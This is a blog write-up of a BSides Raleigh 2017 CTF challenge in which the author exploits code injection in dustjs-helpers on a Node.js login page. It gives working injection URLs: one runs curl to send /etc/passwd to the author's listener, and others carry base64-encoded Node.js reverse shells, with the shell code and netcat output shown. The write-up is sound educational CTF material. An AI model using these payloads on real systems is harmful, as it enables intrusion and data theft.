Nodejs Code Injection (EverSec CTF – BSides Raleigh 2017)

There was a challenge with Nodejs code injection during the BSides Raleigh CTF, and here is the write-up.

Nodejs Code Injection – Introduction

First, I apologize for not putting the period in Node.js, but it is messing with my URL structure and SEO plugin.

Gabe suggested this challenge to me as a fun one, and I believe that no one else was able to solve it.

Consultant’s Page

One of the earlier challenges revolves around logging into the consultants page – http://192.168.0.205/consultants

Nodejs Code Injection - Consultants Login

In this case, Gabe told me to take a further look into the page, to see if I could find anything.

First, I found a comment mentioning the eversec-website Github repository.

<!-- 
<a href="https://github.com/eversec-rocks/eversec-website"><img src="/images/express.svg"></a>
Hiding until we can figure out how Github badges work 
-->

From there, I started to peruse the repository (https://github.com/eversec-rocks/eversec-website) to see if I could find anything interesting.

Finding the Vulnerability

First, I decided to try to fuzz the password box. While SQL Injection wasn’t the correct path (it has been in the past though), I was able to eventually get an error page.

Nodejs Code Injection - Backslash Error

After a bit of searching around, I noticed that the app.js file was including the dustjs-helpers library.

Enter my super-pro Bing skills, and it looks like there might be some sort of vulnerability in this library.

Nodejs Code Injection - Search Results

Node.js Code Injection – Verifying the Vulnerability

Following the Paypal RCE write-up, I also attempted to send a password parameter as an Array instead of a string. Similar to the author, I received a syntax error, so I hoped that I was in business!

http://192.168.0.205/consultants?password[]=&password[]=%27

Nodejs Code Injection - Password Attempt

Code Execution

First, I attempted a similar payload to the original author, to verify code execution.

http://192.168.0.205/consultants?password[]=x&password[]=y%27-require(%27child_process%27).exec(%27curl+-F+%22x=`cat+/etc/passwd`%22+192.168.0.71%27)-%27

root@kali32:~# nc -lvvp 80
listening on [any] 80 ...
192.168.0.205: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [192.168.0.71] from (UNKNOWN) [192.168.0.205] 48716: NO_DATA
POST / HTTP/1.1
User-Agent: curl/7.35.0
Host: 192.168.0.71
Accept: */*
Content-Length: 1121
Expect: 100-continue
Content-Type: multipart/form-data; boundary=------------------------ed3bb114db9fbf15

--------------------------ed3bb114db9fbf15
Content-Disposition: form-data; name="x"

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
evrs:x:1000:1000::/home/evrs:
--------------------------ed3bb114db9fbf15--

With code execution successful, it was time to get a shell!

Reverse Shell Attempt #1

While it should have been possible to just execute a system command, I wanted to write my reverse shell in Nodejs as well!

First, I found a gist for a Nodejs reverse shell, that looked like it would solve my problem perfectly.

Next, I minimized the script down to one line, to keep things cleaner.

var spawn = require('child_process').spawn; var net = require('net'); var reconnect = require('reconnect'); reconnect(function (stream) { var ps = spawn('bash', [ '-i' ]); stream.pipe(ps.stdin); ps.stdout.pipe(stream, { end: false }); ps.stderr.pipe(stream, { end: false }); ps.on('exit', function () { stream.end() }); }).connect(8080, '192.168.0.71');

Finally, I encoded the payload to prevent any special characters from breaking my request.

http://192.168.0.205/consultants?password[]=x&password[]=y%27-eval(new%20Buffer(%22dmFyIHNwYXduID0gcmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLnNwYXduOyB2YXIgbmV0ID0gcmVxdWlyZSgnbmV0Jyk7IHZhciByZWNvbm5lY3QgPSByZXF1aXJlKCdyZWNvbm5lY3QnKTsgcmVjb25uZWN0KGZ1bmN0aW9uIChzdHJlYW0pIHsgdmFyIHBzID0gc3Bhd24oJ2Jhc2gnLCBbICctaScgXSk7IHN0cmVhbS5waXBlKHBzLnN0ZGluKTsgcHMuc3Rkb3V0LnBpcGUoc3RyZWFtLCB7IGVuZDogZmFsc2UgfSk7IHBzLnN0ZGVyci5waXBlKHN0cmVhbSwgeyBlbmQ6IGZhbHNlIH0pOyBwcy5vbignZXhpdCcsIGZ1bmN0aW9uICgpIHsgc3RyZWFtLmVuZCgpIH0pOyB9KS5jb25uZWN0KDgwODAsICcxOTIuMTY4LjAuNzEnKTs=%22,%20%22base64%22).toString())-%27

Unfortunately, it looked like I was missing a required library for this particular payload.

Nodejs Code Injection - Reverse Shell #1

Reverse Shell Success

After a bit more searching, I found another possible reverse shell.

As before, I minimized (and then encoded) the payload. Note that this article is actually where I got the idea to eval the encoded strings.

var net = require("net"), sh = require("child_process").exec("/bin/bash"); var client = new net.Socket(); client.connect(8080, "192.168.0.71", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);});

This was the final payload – http://192.168.0.205/consultants?password[]=x&password[]=y%27-eval(new%20Buffer(%22dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCIvYmluL2Jhc2giKTsgdmFyIGNsaWVudCA9IG5ldyBuZXQuU29ja2V0KCk7IGNsaWVudC5jb25uZWN0KDgwODAsICIxOTIuMTY4LjAuNzEiLCBmdW5jdGlvbigpe2NsaWVudC5waXBlKHNoLnN0ZGluKTtzaC5zdGRvdXQucGlwZShjbGllbnQpOyBzaC5zdGRlcnIucGlwZShjbGllbnQpO30pOw==%22,%20%22base64%22).toString())-%27.

With my netcat listener in place, I was able to get a reverse shell from this attack! I also grabbed the two flags that I could find.

root@kali32:~#  nc -lvvp 8080
listening on [any] 8080 ...
192.168.0.205: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [192.168.0.71] from (UNKNOWN) [192.168.0.205] 48654: NO_DATA
id
uid=1000(evrs) gid=1000(evrs) groups=1000(evrs),27(sudo)
^C
C:\Tools\netcat-1.11>nc.exe -lvvp 8080
listening on [any] 8080 ...
192.168.0.205: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [192.168.0.71] from (UNKNOWN) [192.168.0.205] 49106: NO_DATA
id
uid=1000(evrs) gid=1000(evrs) groups=1000(evrs),27(sudo)
evrs@evrs-main:/apps/evrs-main-express$ cat lol.txt
cat lol.txt
j00V4nd4l1
evrs@evrs-main:/apps/evrs-main-express$ cat deareversec.txt
cat deareversec.txt
uL3tMeD0wn4t3hL@s7T1m3

Nodejs Code Injection – Conclusion

While the write-up is a little late, I wanted to make sure that it could be used at a few other cons.

This was a really fun challenge, and I’m glad that I forced myself to only use Nodejs.

I’ve got one smaller write-up, and an even bigger one on the way!

Let me know if there are any other challenges that you’d like to see write-ups for as well.

doyler on Githubdoyler on Twitter
doyler
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCP, eCPPT, eWPT, eWPTX, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Senior Penetration Testing Consultant for Secureworks. His previous position was a Senior Penetration Tester for a major financial institution.

When he's not figuring out what cert to get next (currently GXPN) or side project to work on, he enjoys playing video games, traveling, and watching sports.

Leave a Comment

Filed under Security Not Included

Leave a Reply

Your email address will not be published. Required fields are marked *

*